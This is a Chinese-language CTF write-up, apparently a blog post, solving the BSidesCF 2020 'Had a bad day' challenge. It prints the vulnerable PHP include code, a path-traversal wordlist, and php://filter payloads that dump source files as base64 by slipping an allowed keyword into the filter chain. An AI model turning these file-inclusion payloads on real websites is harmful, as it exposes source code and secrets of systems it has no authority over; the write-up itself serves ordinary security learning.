[BSidesCF 2020]Had a bad day

打开页面,测试功能发现是一个鼓励网站,点击下面的两个按钮会给category传一个参数

感觉存在文件包含漏洞,先用base64伪协议尝试读取一下源码

  ?category=php://filter/convert.base64-encode/resource=index.php

发现报错了嗷,根据提示,他会自动加上.php后缀,我们去除后缀,重新访问

得到了一大串base64编码:

base64解密后,其中的php代码如下:

  <?php
    $file = $_GET['category'];
  
      if(isset($file))
      {
        	if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
        	include ($file . '.php');
      }
      else{
      	echo "Sorry, we currently only support woofers and meowers.";
    }
  }
  ?>

审计代码我们发现,判断语句用了strpos查找关键字woofersmeowersindex只要字符串中存在关键词就可以执行include运行脚本。目前我们需要知道的是flag文件在哪个位置。
这里我写了个简单的字典爆破:

  woofers/../flag
  woofers/../../flag
  woofers/../../../flag
  woofers/../../../../flag
  woofers/../../../../../flag
  woofers/../../../../../../flag
  woofers/../../../../../../../flag
  meowers/../flag
  meowers/../../flag
  meowers/../../../flag
  meowers/../../../../flag
  meowers/../../../../../flag
  meowers/../../../../../../flag
  meowers/../../../../../../../flag
  index/../flag
  index/../../flag
  index/../../../flag
  index/../../../../flag
  index/../../../../../flag
  index/../../../../../../flag
  index/../../../../../../../flag

那就是找到了flag.php,路径在meowers同级目录下,其实这4个文件woofers.php,meowers.php,index.php,flag.php在同一个目录下。但是不能访问flag.php,要我们读取,还是用伪协议通过resource读取:

这里简述一下php://filter的用法:
格式:php://filter/read=?/resource=?
read也可以是write,一般会省略不写,或直接写过滤器的名称。
比如:php://filter/convert.base64-encode/resource=?
多个过滤器使用管道符 | 隔开,若过滤器需要参数使用 / 后面接参数
比如:php://filter/convert.base64-encode|convert.iconv.UTF-8/ISO-8859-1/resource=flag.php
这里ISO-8859-1就是过滤器convert.iconv.UTF-8的参数

  ?category=php://filter/convert.base64-encode/meowers/resource=flag

ps:这里写meowers纯粹是因为他不接受index,你写woofers也行,在执行这个流包装器的时候没有起到任何作用,只是为了过那个判断

这里为什么会报两个警告,其实是把meowers当作了过滤器处理。
解析规则大致为:php先尝试把meowers当作convert.base64-encode过滤器的参数,但是他是一个不需要参数的过滤器,随后php再尝试把他当作过滤器处理,但是他又不是一个正确的过滤器名称,php又想创建一个这样的过滤器吧,但是meowers又不是一个预定义的过滤器名称,最后没办法了只能报两个警告。

base64解密得到

posted @ 2024-11-20 23:10  一只本本  阅读(1)  评论(0编辑  收藏  举报